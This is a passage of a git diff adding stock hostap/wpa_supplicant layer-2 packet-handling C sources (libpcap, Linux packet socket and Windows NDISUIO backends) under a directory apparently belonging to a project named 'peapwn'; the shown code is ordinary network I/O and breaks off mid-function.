l2_hdr is set to 0, buf + * points to len bytes of the payload after the layer 2 header and similarly, + * TX buffers start with payload. This behavior can be changed by setting + * l2_hdr=1 to include the layer 2 header in the data buffer. + */ +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr); + +/** + * l2_packet_deinit - Deinitialize l2_packet interface + * @l2: Pointer to internal l2_packet data from l2_packet_init() + */ +void l2_packet_deinit(struct l2_packet_data *l2); + +/** + * l2_packet_get_own_addr - Get own layer 2 address + * @l2: Pointer to internal l2_packet data from l2_packet_init() + * @addr: Buffer for the own address (6 bytes) + * Returns: 0 on success, -1 on failure + */ +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr); + +/** + * l2_packet_send - Send a packet + * @l2: Pointer to internal l2_packet data from l2_packet_init() + * @dst_addr: Destination address for the packet (only used if l2_hdr == 0) + * @proto: Protocol/ethertype for the packet in host byte order (only used if + * l2_hdr == 0) + * @buf: Packet contents to be sent; including layer 2 header if l2_hdr was + * set to 1 in l2_packet_init() call. Otherwise, only the payload of the packet + * is included. + * @len: Length of the buffer (including l2 header only if l2_hdr == 1) + * Returns: >=0 on success, <0 on failure + */ +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len); + +/** + * l2_packet_get_ip_addr - Get the current IP address from the interface + * @l2: Pointer to internal l2_packet data from l2_packet_init() + * @buf: Buffer for the IP address in text format + * @len: Maximum buffer length + * Returns: 0 on success, -1 on failure + * + * This function can be used to get the current IP address from the interface + * bound to the l2_packet. This is mainly for status information and the IP + * address will be stored as an ASCII string. This function is not essential + * for %wpa_supplicant operation, so full implementation is not required. + * l2_packet implementation will need to define the function, but it can return + * -1 if the IP address information is not available. + */ +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len); + + +/** + * l2_packet_notify_auth_start - Notify l2_packet about start of authentication + * @l2: Pointer to internal l2_packet data from l2_packet_init() + * + * This function is called when authentication is expected to start, e.g., when + * association has been completed, in order to prepare l2_packet implementation + * for EAPOL frames. This function is used mainly if the l2_packet code needs + * to do polling in which case it can increasing polling frequency. This can + * also be an empty function if the l2_packet implementation does not benefit + * from knowing about the starting authentication. + */ +void l2_packet_notify_auth_start(struct l2_packet_data *l2); + +#endif /* L2_PACKET_H */ diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet_freebsd.c b/peapwn/mods/hostap/src/l2_packet/l2_packet_freebsd.c new file mode 100644 index 000000000..2e9a04c89 --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet_freebsd.c @@ -0,0 +1,310 @@ +/* + * WPA Supplicant - Layer2 packet handling with FreeBSD + * Copyright (c) 2003-2005, Jouni Malinen + * Copyright (c) 2005, Sam Leffler + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#if defined(__APPLE__) || defined(__GLIBC__) +#include +#endif /* __APPLE__ */ +#include + +#include +#ifdef __sun__ +#include +#else /* __sun__ */ +#include +#endif /* __sun__ */ + +#include +#include +#include +#include + +#include "common.h" +#include "eloop.h" +#include "l2_packet.h" + + +static const u8 pae_group_addr[ETH_ALEN] = +{ 0x01, 0x80, 0xc2, 0x00, 0x00, 0x03 }; + +struct l2_packet_data { + pcap_t *pcap; + char ifname[100]; + u8 own_addr[ETH_ALEN]; + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len); + void *rx_callback_ctx; + int l2_hdr; /* whether to include layer 2 (Ethernet) header data + * buffers */ +}; + + +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr) +{ + os_memcpy(addr, l2->own_addr, ETH_ALEN); + return 0; +} + + +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len) +{ + if (!l2->l2_hdr) { + int ret; + struct l2_ethhdr *eth = os_malloc(sizeof(*eth) + len); + if (eth == NULL) + return -1; + os_memcpy(eth->h_dest, dst_addr, ETH_ALEN); + os_memcpy(eth->h_source, l2->own_addr, ETH_ALEN); + eth->h_proto = htons(proto); + os_memcpy(eth + 1, buf, len); + ret = pcap_inject(l2->pcap, (u8 *) eth, len + sizeof(*eth)); + os_free(eth); + return ret; + } else + return pcap_inject(l2->pcap, buf, len); +} + + +static void l2_packet_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct l2_packet_data *l2 = eloop_ctx; + pcap_t *pcap = sock_ctx; + struct pcap_pkthdr hdr; + const u_char *packet; + struct l2_ethhdr *ethhdr; + unsigned char *buf; + size_t len; + + packet = pcap_next(pcap, &hdr); + + if (packet == NULL || hdr.caplen < sizeof(*ethhdr)) + return; + + ethhdr = (struct l2_ethhdr *) packet; + if (l2->l2_hdr) { + buf = (unsigned char *) ethhdr; + len = hdr.caplen; + } else { + buf = (unsigned char *) (ethhdr + 1); + len = hdr.caplen - sizeof(*ethhdr); + } + l2->rx_callback(l2->rx_callback_ctx, ethhdr->h_source, buf, len); +} + + +static int l2_packet_init_libpcap(struct l2_packet_data *l2, + unsigned short protocol) +{ + bpf_u_int32 pcap_maskp, pcap_netp; + char pcap_filter[200], pcap_err[PCAP_ERRBUF_SIZE]; + struct bpf_program pcap_fp; + + pcap_lookupnet(l2->ifname, &pcap_netp, &pcap_maskp, pcap_err); + l2->pcap = pcap_open_live(l2->ifname, 2500, 0, 10, pcap_err); + if (l2->pcap == NULL) { + fprintf(stderr, "pcap_open_live: %s\n", pcap_err); + fprintf(stderr, "ifname='%s'\n", l2->ifname); + return -1; + } + if (pcap_datalink(l2->pcap) != DLT_EN10MB && + pcap_set_datalink(l2->pcap, DLT_EN10MB) < 0) { + fprintf(stderr, "pcap_set_datalink(DLT_EN10MB): %s\n", + pcap_geterr(l2->pcap)); + return -1; + } + os_snprintf(pcap_filter, sizeof(pcap_filter), + "not ether src " MACSTR " and " + "( ether dst " MACSTR " or ether dst " MACSTR " ) and " + "ether proto 0x%x", + MAC2STR(l2->own_addr), /* do not receive own packets */ + MAC2STR(l2->own_addr), MAC2STR(pae_group_addr), + protocol); + if (pcap_compile(l2->pcap, &pcap_fp, pcap_filter, 1, pcap_netp) < 0) { + fprintf(stderr, "pcap_compile: %s\n", pcap_geterr(l2->pcap)); + return -1; + } + + if (pcap_setfilter(l2->pcap, &pcap_fp) < 0) { + fprintf(stderr, "pcap_setfilter: %s\n", pcap_geterr(l2->pcap)); + return -1; + } + + pcap_freecode(&pcap_fp); +#ifndef __sun__ + /* + * When libpcap uses BPF we must enable "immediate mode" to + * receive frames right away; otherwise the system may + * buffer them for us. + */ + { + unsigned int on = 1; + if (ioctl(pcap_fileno(l2->pcap), BIOCIMMEDIATE, &on) < 0) { + fprintf(stderr, "%s: cannot enable immediate mode on " + "interface %s: %s\n", + __func__, l2->ifname, strerror(errno)); + /* XXX should we fail? */ + } + } +#endif /* __sun__ */ + + eloop_register_read_sock(pcap_get_selectable_fd(l2->pcap), + l2_packet_receive, l2, l2->pcap); + + return 0; +} + + +static int eth_get(const char *device, u8 ea[ETH_ALEN]) +{ +#ifdef __sun__ + dlpi_handle_t dh; + u32 physaddrlen = DLPI_PHYSADDR_MAX; + u8 physaddr[DLPI_PHYSADDR_MAX]; + int retval; + + retval = dlpi_open(device, &dh, 0); + if (retval != DLPI_SUCCESS) { + wpa_printf(MSG_ERROR, "dlpi_open error: %s", + dlpi_strerror(retval)); + return -1; + } + + retval = dlpi_get_physaddr(dh, DL_CURR_PHYS_ADDR, physaddr, + &physaddrlen); + if (retval != DLPI_SUCCESS) { + wpa_printf(MSG_ERROR, "dlpi_get_physaddr error: %s", + dlpi_strerror(retval)); + dlpi_close(dh); + return -1; + } + os_memcpy(ea, physaddr, ETH_ALEN); + dlpi_close(dh); +#else /* __sun__ */ + struct if_msghdr *ifm; + struct sockaddr_dl *sdl; + u_char *p, *buf; + size_t len; + int mib[] = { CTL_NET, AF_ROUTE, 0, AF_LINK, NET_RT_IFLIST, 0 }; + + if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0) + return -1; + if ((buf = os_malloc(len)) == NULL) + return -1; + if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) { + os_free(buf); + return -1; + } + for (p = buf; p < buf + len; p += ifm->ifm_msglen) { + ifm = (struct if_msghdr *)p; + sdl = (struct sockaddr_dl *)(ifm + 1); + if (ifm->ifm_type != RTM_IFINFO || + (ifm->ifm_addrs & RTA_IFP) == 0) + continue; + if (sdl->sdl_family != AF_LINK || sdl->sdl_nlen == 0 || + os_memcmp(sdl->sdl_data, device, sdl->sdl_nlen) != 0) + continue; + os_memcpy(ea, LLADDR(sdl), sdl->sdl_alen); + break; + } + os_free(buf); + + if (p >= buf + len) { + errno = ESRCH; + return -1; + } +#endif /* __sun__ */ + return 0; +} + + +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr) +{ + struct l2_packet_data *l2; + + l2 = os_zalloc(sizeof(struct l2_packet_data)); + if (l2 == NULL) + return NULL; + os_strlcpy(l2->ifname, ifname, sizeof(l2->ifname)); + l2->rx_callback = rx_callback; + l2->rx_callback_ctx = rx_callback_ctx; + l2->l2_hdr = l2_hdr; + + if (eth_get(l2->ifname, l2->own_addr) < 0) { + fprintf(stderr, "Failed to get link-level address for " + "interface '%s'.\n", l2->ifname); + os_free(l2); + return NULL; + } + + if (l2_packet_init_libpcap(l2, protocol)) { + os_free(l2); + return NULL; + } + + return l2; +} + + +void l2_packet_deinit(struct l2_packet_data *l2) +{ + if (l2 != NULL) { + if (l2->pcap) { + eloop_unregister_read_sock( + pcap_get_selectable_fd(l2->pcap)); + pcap_close(l2->pcap); + } + os_free(l2); + } +} + + +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len) +{ + pcap_if_t *devs, *dev; + struct pcap_addr *addr; + struct sockaddr_in *saddr; + int found = 0; + char err[PCAP_ERRBUF_SIZE + 1]; + + if (pcap_findalldevs(&devs, err) < 0) { + wpa_printf(MSG_DEBUG, "pcap_findalldevs: %s\n", err); + return -1; + } + + for (dev = devs; dev && !found; dev = dev->next) { + if (os_strcmp(dev->name, l2->ifname) != 0) + continue; + + addr = dev->addresses; + while (addr) { + saddr = (struct sockaddr_in *) addr->addr; + if (saddr && saddr->sin_family == AF_INET) { + os_strlcpy(buf, inet_ntoa(saddr->sin_addr), + len); + found = 1; + break; + } + addr = addr->next; + } + } + + pcap_freealldevs(devs); + + return found ? 0 : -1; +} + + +void l2_packet_notify_auth_start(struct l2_packet_data *l2) +{ +} diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet_linux.c b/peapwn/mods/hostap/src/l2_packet/l2_packet_linux.c new file mode 100644 index 000000000..1419830db --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet_linux.c @@ -0,0 +1,204 @@ +/* + * WPA Supplicant - Layer2 packet handling with Linux packet sockets + * Copyright (c) 2003-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#include + +#include "common.h" +#include "eloop.h" +#include "l2_packet.h" + + +struct l2_packet_data { + int fd; /* packet socket for EAPOL frames */ + char ifname[IFNAMSIZ + 1]; + int ifindex; + u8 own_addr[ETH_ALEN]; + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len); + void *rx_callback_ctx; + int l2_hdr; /* whether to include layer 2 (Ethernet) header data + * buffers */ +}; + + +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr) +{ + os_memcpy(addr, l2->own_addr, ETH_ALEN); + return 0; +} + + +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len) +{ + int ret; + if (l2 == NULL) + return -1; + if (l2->l2_hdr) { + ret = send(l2->fd, buf, len, 0); + if (ret < 0) + wpa_printf(MSG_ERROR, "l2_packet_send - send: %s", + strerror(errno)); + } else { + struct sockaddr_ll ll; + os_memset(&ll, 0, sizeof(ll)); + ll.sll_family = AF_PACKET; + ll.sll_ifindex = l2->ifindex; + ll.sll_protocol = htons(proto); + ll.sll_halen = ETH_ALEN; + os_memcpy(ll.sll_addr, dst_addr, ETH_ALEN); + ret = sendto(l2->fd, buf, len, 0, (struct sockaddr *) &ll, + sizeof(ll)); + if (ret < 0) { + wpa_printf(MSG_ERROR, "l2_packet_send - sendto: %s", + strerror(errno)); + } + } + return ret; +} + + +static void l2_packet_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct l2_packet_data *l2 = eloop_ctx; + u8 buf[2300]; + int res; + struct sockaddr_ll ll; + socklen_t fromlen; + + os_memset(&ll, 0, sizeof(ll)); + fromlen = sizeof(ll); + res = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *) &ll, + &fromlen); + if (res < 0) { + wpa_printf(MSG_DEBUG, "l2_packet_receive - recvfrom: %s", + strerror(errno)); + return; + } + + l2->rx_callback(l2->rx_callback_ctx, ll.sll_addr, buf, res); +} + + +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr) +{ + struct l2_packet_data *l2; + struct ifreq ifr; + struct sockaddr_ll ll; + + l2 = os_zalloc(sizeof(struct l2_packet_data)); + if (l2 == NULL) + return NULL; + os_strlcpy(l2->ifname, ifname, sizeof(l2->ifname)); + l2->rx_callback = rx_callback; + l2->rx_callback_ctx = rx_callback_ctx; + l2->l2_hdr = l2_hdr; + + l2->fd = socket(PF_PACKET, l2_hdr ? SOCK_RAW : SOCK_DGRAM, + htons(protocol)); + if (l2->fd < 0) { + wpa_printf(MSG_ERROR, "%s: socket(PF_PACKET): %s", + __func__, strerror(errno)); + os_free(l2); + return NULL; + } + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, l2->ifname, sizeof(ifr.ifr_name)); + if (ioctl(l2->fd, SIOCGIFINDEX, &ifr) < 0) { + wpa_printf(MSG_ERROR, "%s: ioctl[SIOCGIFINDEX]: %s", + __func__, strerror(errno)); + close(l2->fd); + os_free(l2); + return NULL; + } + l2->ifindex = ifr.ifr_ifindex; + + os_memset(&ll, 0, sizeof(ll)); + ll.sll_family = PF_PACKET; + ll.sll_ifindex = ifr.ifr_ifindex; + ll.sll_protocol = htons(protocol); + if (bind(l2->fd, (struct sockaddr *) &ll, sizeof(ll)) < 0) { + wpa_printf(MSG_ERROR, "%s: bind[PF_PACKET]: %s", + __func__, strerror(errno)); + close(l2->fd); + os_free(l2); + return NULL; + } + + if (ioctl(l2->fd, SIOCGIFHWADDR, &ifr) < 0) { + wpa_printf(MSG_ERROR, "%s: ioctl[SIOCGIFHWADDR]: %s", + __func__, strerror(errno)); + close(l2->fd); + os_free(l2); + return NULL; + } + os_memcpy(l2->own_addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN); + + eloop_register_read_sock(l2->fd, l2_packet_receive, l2, NULL); + + return l2; +} + + +void l2_packet_deinit(struct l2_packet_data *l2) +{ + if (l2 == NULL) + return; + + if (l2->fd >= 0) { + eloop_unregister_read_sock(l2->fd); + close(l2->fd); + } + + os_free(l2); +} + + +int l2_packet_get_ip_addr(struct l2_packet_data *l2, char *buf, size_t len) +{ + int s; + struct ifreq ifr; + struct sockaddr_in *saddr; + size_t res; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s < 0) { + wpa_printf(MSG_ERROR, "%s: socket: %s", + __func__, strerror(errno)); + return -1; + } + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, l2->ifname, sizeof(ifr.ifr_name)); + if (ioctl(s, SIOCGIFADDR, &ifr) < 0) { + if (errno != EADDRNOTAVAIL) + wpa_printf(MSG_ERROR, "%s: ioctl[SIOCGIFADDR]: %s", + __func__, strerror(errno)); + close(s); + return -1; + } + close(s); + saddr = aliasing_hide_typecast(&ifr.ifr_addr, struct sockaddr_in); + if (saddr->sin_family != AF_INET) + return -1; + res = os_strlcpy(buf, inet_ntoa(saddr->sin_addr), len); + if (res >= len) + return -1; + return 0; +} + + +void l2_packet_notify_auth_start(struct l2_packet_data *l2) +{ +} diff --git a/peapwn/mods/hostap/src/l2_packet/l2_packet_ndis.c b/peapwn/mods/hostap/src/l2_packet/l2_packet_ndis.c new file mode 100644 index 000000000..23b8ddcc9 --- /dev/null +++ b/peapwn/mods/hostap/src/l2_packet/l2_packet_ndis.c @@ -0,0 +1,516 @@ +/* + * WPA Supplicant - Layer2 packet handling with Microsoft NDISUIO + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This implementation requires Windows specific event loop implementation, + * i.e., eloop_win.c. In addition, the NDISUIO connection is shared with + * driver_ndis.c, so only that driver interface can be used and + * CONFIG_USE_NDISUIO must be defined. + * + * WinXP version of the code uses overlapped I/O and a single threaded design + * with callback functions from I/O code. WinCE version uses a separate RX + * thread that blocks on ReadFile() whenever the media status is connected. + */ + +#include "includes.h" +#include +#include + +#ifdef _WIN32_WCE +#include +#include +#endif /* _WIN32_WCE */ + +#include "common.h" +#include "eloop.h" +#include "l2_packet.h" + +#ifndef _WIN32_WCE +/* from nuiouser.h */ +#define FSCTL_NDISUIO_BASE FILE_DEVICE_NETWORK +#define _NDISUIO_CTL_CODE(_Function, _Method, _Access) \ + CTL_CODE(FSCTL_NDISUIO_BASE, _Function, _Method, _Access) +#define IOCTL_NDISUIO_SET_ETHER_TYPE \ + _NDISUIO_CTL_CODE(0x202, METHOD_BUFFERED, \ + FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#endif /* _WIN32_WCE */ + +/* From driver_ndis.c to shared the handle to NDISUIO */ +HANDLE driver_ndis_get_ndisuio_handle(void); + +/* + * NDISUIO supports filtering of only one ethertype at the time, so we must + * fake support for two (EAPOL and RSN pre-auth) by switching to pre-auth + * whenever wpa_supplicant is trying to pre-authenticate and then switching + * back to EAPOL when pre-authentication has been completed. + */ + +struct l2_packet_data; + +struct l2_packet_ndisuio_global { + int refcount; + unsigned short first_proto; + struct l2_packet_data *l2[2]; +#ifdef _WIN32_WCE + HANDLE rx_thread; + HANDLE stop_request; + HANDLE ready_for_read; + HANDLE rx_processed; +#endif /* _WIN32_WCE */ +}; + +static struct l2_packet_ndisuio_global *l2_ndisuio_global = NULL; + +struct l2_packet_data { + char ifname[100]; + u8 own_addr[ETH_ALEN]; + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len); + void *rx_callback_ctx; + int l2_hdr; /* whether to include layer 2 (Ethernet) header in calls to + * rx_callback and l2_packet_send() */ + HANDLE rx_avail; +#ifndef _WIN32_WCE + OVERLAPPED rx_overlapped; +#endif /* _WIN32_WCE */ + u8 rx_buf[1514]; + DWORD rx_written; +}; + + +int l2_packet_get_own_addr(struct l2_packet_data *l2, u8 *addr) +{ + os_memcpy(addr, l2->own_addr, ETH_ALEN); + return 0; +} + + +int l2_packet_send(struct l2_packet_data *l2, const u8 *dst_addr, u16 proto, + const u8 *buf, size_t len) +{ + BOOL res; + DWORD written; + struct l2_ethhdr *eth; +#ifndef _WIN32_WCE + OVERLAPPED overlapped; +#endif /* _WIN32_WCE */ + OVERLAPPED *o; + + if (l2 == NULL) + return -1; + +#ifdef _WIN32_WCE + o = NULL; +#else /* _WIN32_WCE */ + os_memset(&overlapped, 0, sizeof(overlapped)); + o = &overlapped; +#endif /* _WIN32_WCE */ + + if (l2->l2_hdr) { + res = WriteFile(driver_ndis_get_ndisuio_handle(), buf, len, + &written, o); + } else { + size_t mlen = sizeof(*eth) + len; + eth = os_malloc(mlen); + if (eth == NULL) + return -1; + + os_memcpy(eth->h_dest, dst_addr, ETH_ALEN); + os_memcpy(eth->h_source, l2->own_addr, ETH_ALEN); + eth->h_proto = htons(proto); + os_memcpy(eth + 1, buf, len); + res = WriteFile(driver_ndis_get_ndisuio_handle(), eth, mlen, + &written, o); + os_free(eth); + } + + if (!res) { + DWORD err = GetLastError(); +#ifndef _WIN32_WCE + if (err == ERROR_IO_PENDING) { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): Wait for pending " + "write to complete"); + res = GetOverlappedResult( + driver_ndis_get_ndisuio_handle(), &overlapped, + &written, TRUE); + if (!res) { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): " + "GetOverlappedResult failed: %d", + (int) GetLastError()); + return -1; + } + return 0; + } +#endif /* _WIN32_WCE */ + wpa_printf(MSG_DEBUG, "L2(NDISUIO): WriteFile failed: %d", + (int) GetLastError()); + return -1; + } + + return 0; +} + + +static void l2_packet_callback(struct l2_packet_data *l2); + +#ifdef _WIN32_WCE +static void l2_packet_rx_thread_try_read(struct l2_packet_data *l2) +{ + HANDLE handles[2]; + + wpa_printf(MSG_MSGDUMP, "l2_packet_rx_thread: -> ReadFile"); + if (!ReadFile(driver_ndis_get_ndisuio_handle(), l2->rx_buf, + sizeof(l2->rx_buf), &l2->rx_written, NULL)) { + DWORD err = GetLastError(); + wpa_printf(MSG_DEBUG, "l2_packet_rx_thread: ReadFile failed: " + "%d", (int) err); + /* + * ReadFile on NDISUIO/WinCE returns ERROR_DEVICE_NOT_CONNECTED + * error whenever the connection is not up. Yield the thread to + * avoid triggering a busy loop. Connection event should stop + * us from looping for long, but we need to allow enough CPU + * for the main thread to process the media disconnection. + */ + Sleep(100); + return; + } + + wpa_printf(MSG_DEBUG, "l2_packet_rx_thread: Read %d byte packet", + (int) l2->rx_written); + + /* + * Notify the main thread about the availability of a frame and wait + * for the frame to be processed. + */ + SetEvent(l2->rx_avail); + handles[0] = l2_ndisuio_global->stop_request; + handles[1] = l2_ndisuio_global->rx_processed; + WaitForMultipleObjects(2, handles, FALSE, INFINITE); + ResetEvent(l2_ndisuio_global->rx_processed); +} + + +static DWORD WINAPI l2_packet_rx_thread(LPVOID arg) +{ + struct l2_packet_data *l2 = arg; + DWORD res; + HANDLE handles[2]; + int run = 1; + + wpa_printf(MSG_DEBUG, "L2(NDISUIO): RX thread started"); + handles[0] = l2_ndisuio_global->stop_request; + handles[1] = l2_ndisuio_global->ready_for_read; + + /* + * Unfortunately, NDISUIO on WinCE does not seem to support waiting + * on the handle. There do not seem to be anything else that we could + * wait for either. If one were to modify NDISUIO to set a named event + * whenever packets are available, this event could be used here to + * avoid having to poll for new packets or we could even move to use a + * single threaded design. + * + * In addition, NDISUIO on WinCE is returning + * ERROR_DEVICE_NOT_CONNECTED whenever ReadFile() is attempted while + * the adapter is not in connected state. For now, we are just using a + * local event to allow ReadFile calls only after having received NDIS + * media connect event. This event could be easily converted to handle + * another event if the protocol driver is replaced with somewhat more + * useful design. + */ + + while (l2_ndisuio_global && run) { + res = WaitForMultipleObjects(2, handles, FALSE, INFINITE); + switch (res) { + case WAIT_OBJECT_0: + wpa_printf(MSG_DEBUG, "l2_packet_rx_thread: Received " + "request to stop RX thread"); + run = 0; + break; + case WAIT_OBJECT_0 + 1: + l2_packet_rx_thread_try_read(l2); + break; + case WAIT_FAILED: + default: + wpa_printf(MSG_DEBUG, "l2_packet_rx_thread: " + "WaitForMultipleObjects failed: %d", + (int) GetLastError()); + run = 0; + break; + } + } + + wpa_printf(MSG_DEBUG, "L2(NDISUIO): RX thread stopped"); + + return 0; +} +#else /* _WIN32_WCE */ +static int l2_ndisuio_start_read(struct l2_packet_data *l2, int recursive) +{ + os_memset(&l2->rx_overlapped, 0, sizeof(l2->rx_overlapped)); + l2->rx_overlapped.hEvent = l2->rx_avail; + if (!ReadFile(driver_ndis_get_ndisuio_handle(), l2->rx_buf, + sizeof(l2->rx_buf), &l2->rx_written, &l2->rx_overlapped)) + { + DWORD err = GetLastError(); + if (err != ERROR_IO_PENDING) { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): ReadFile failed: " + "%d", (int) err); + return -1; + } + /* + * Once read is completed, l2_packet_rx_event() will be + * called. + */ + } else { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): ReadFile returned data " + "without wait for completion"); + if (!recursive) + l2_packet_callback(l2); + } + + return 0; +} +#endif /* _WIN32_WCE */ + + +static void l2_packet_callback(struct l2_packet_data *l2) +{ + const u8 *rx_buf, *rx_src; + size_t rx_len; + struct l2_ethhdr *ethhdr = (struct l2_ethhdr *) l2->rx_buf; + + wpa_printf(MSG_DEBUG, "L2(NDISUIO): Read %d bytes", + (int) l2->rx_written); + + if (l2->l2_hdr || l2->rx_written < sizeof(*ethhdr)) { + rx_buf = (u8 *) ethhdr; + rx_len = l2->rx_written; + } else { + rx_buf = (u8 *) (ethhdr + 1); + rx_len = l2->rx_written - sizeof(*ethhdr); + } + rx_src = ethhdr->h_source; + + l2->rx_callback(l2->rx_callback_ctx, rx_src, rx_buf, rx_len); +#ifndef _WIN32_WCE + l2_ndisuio_start_read(l2, 1); +#endif /* _WIN32_WCE */ +} + + +static void l2_packet_rx_event(void *eloop_data, void *user_data) +{ + struct l2_packet_data *l2 = eloop_data; + + if (l2_ndisuio_global) + l2 = l2_ndisuio_global->l2[l2_ndisuio_global->refcount - 1]; + + ResetEvent(l2->rx_avail); + +#ifndef _WIN32_WCE + if (!GetOverlappedResult(driver_ndis_get_ndisuio_handle(), + &l2->rx_overlapped, &l2->rx_written, FALSE)) { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): GetOverlappedResult " + "failed: %d", (int) GetLastError()); + return; + } +#endif /* _WIN32_WCE */ + + l2_packet_callback(l2); + +#ifdef _WIN32_WCE + SetEvent(l2_ndisuio_global->rx_processed); +#endif /* _WIN32_WCE */ +} + + +static int l2_ndisuio_set_ether_type(unsigned short protocol) +{ + USHORT proto = htons(protocol); + DWORD written; + + if (!DeviceIoControl(driver_ndis_get_ndisuio_handle(), + IOCTL_NDISUIO_SET_ETHER_TYPE, &proto, + sizeof(proto), NULL, 0, &written, NULL)) { + wpa_printf(MSG_ERROR, "L2(NDISUIO): " + "IOCTL_NDISUIO_SET_ETHER_TYPE failed: %d", + (int) GetLastError()); + return -1; + } + + return 0; +} + + +struct l2_packet_data * l2_packet_init( + const char *ifname, const u8 *own_addr, unsigned short protocol, + void (*rx_callback)(void *ctx, const u8 *src_addr, + const u8 *buf, size_t len), + void *rx_callback_ctx, int l2_hdr) +{ + struct l2_packet_data *l2; + + if (l2_ndisuio_global == NULL) { + l2_ndisuio_global = os_zalloc(sizeof(*l2_ndisuio_global)); + if (l2_ndisuio_global == NULL) + return NULL; + l2_ndisuio_global->first_proto = protocol; + } + if (l2_ndisuio_global->refcount >= 2) { + wpa_printf(MSG_ERROR, "L2(NDISUIO): Not more than two " + "simultaneous connections allowed"); + return NULL; + } + l2_ndisuio_global->refcount++; + + l2 = os_zalloc(sizeof(struct l2_packet_data)); + if (l2 == NULL) + return NULL; + l2_ndisuio_global->l2[l2_ndisuio_global->refcount - 1] = l2; + + os_strlcpy(l2->ifname, ifname, sizeof(l2->ifname)); + l2->rx_callback = rx_callback; + l2->rx_callback_ctx = rx_callback_ctx; + l2->l2_hdr = l2_hdr; + + if (own_addr) + os_memcpy(l2->own_addr, own_addr, ETH_ALEN); + + if (l2_ndisuio_set_ether_type(protocol) < 0) { + os_free(l2); + return NULL; + } + + if (l2_ndisuio_global->refcount > 1) { + wpa_printf(MSG_DEBUG, "L2(NDISUIO): Temporarily setting " + "filtering ethertype to %04x", protocol); + if (l2_ndisuio_global->l2[0]) + l2->rx_avail = l2_ndisuio_global->l2[0]->rx_avail; + return l2; + } + + l2->rx_avail = CreateEvent(NULL, TRUE, FALSE, NULL); + if (l2->rx_avail == NULL) { + os_free(l2); + return NULL; + } + + eloop_register_event(l2->rx_avail, sizeof(l2->rx_avail), + l2_packet_rx_event, l2, NULL); + +#ifdef _WIN32_WCE + l2_ndisuio_global->stop_request = CreateEvent(NULL, TRUE, FALSE, NULL); + /* + * This event is being set based on media connect/disconnect + * notifications in driver_ndis.c. + */ + l2_ndisuio_global->ready_for_read = + CreateEvent(NULL, TRUE, FALSE, TEXT("WpaSupplicantConnected")); + l2_ndisuio_global->rx_processed = CreateEvent(NULL, TRUE, FALSE, NULL); + if (l2_ndisuio_global->stop_request == NULL || + l2_ndisuio_global->ready_for_read == NULL || + l2_ndisuio_global->rx_processed == NULL) { + if (l2_ndisuio_global->stop_request) { + CloseHandle(l2_ndisuio_global->stop_request); + l2_ndisuio_global->stop_request = NULL; + } + if (l2_ndisuio_global->ready_for_read) { + CloseHandle(l2_ndisuio_global->ready_for_read); + l2_ndisuio_global->ready_for_read = NULL; + } + if (l2_ndisuio_global->rx_processed) { + CloseHandle(l2_ndisuio_global->rx_processed); + l2_ndisuio_global->rx_processed = NULL; + } + eloop_unregister_event(l2->rx_avail, sizeof(l2->rx_avail)); + os_free(l2); + return NULL; + } + + l2_ndisuio_global->rx_thread = CreateThread(NULL, 0, + l2_packet_rx_thread, l2, 0, + NULL); + if (l2_ndisuio_global->rx_thread == NULL) { + wpa_printf(MSG_INFO, "L2(NDISUIO): Failed to create RX " + "thread: %d", (int) GetLastError()); + eloop_unregister_event(l2->rx_avail, sizeof(l2->rx_avail)); + CloseHandle(l2_ndisuio_global->stop_request); + l2_ndisuio_global->stop_request = NULL; + os_free(l2); + return NULL; + } +#else /* _WIN32_WCE */ + l2_ndisuio_start_read(l2, 0); +#endif /* _WIN32_WCE */ + + return l2; +} + + +void l2_packet_deinit(struct l2_packet_data *l2) +{ + if (l2 == NULL) + return; + + if (l2_ndisuio_global) { + 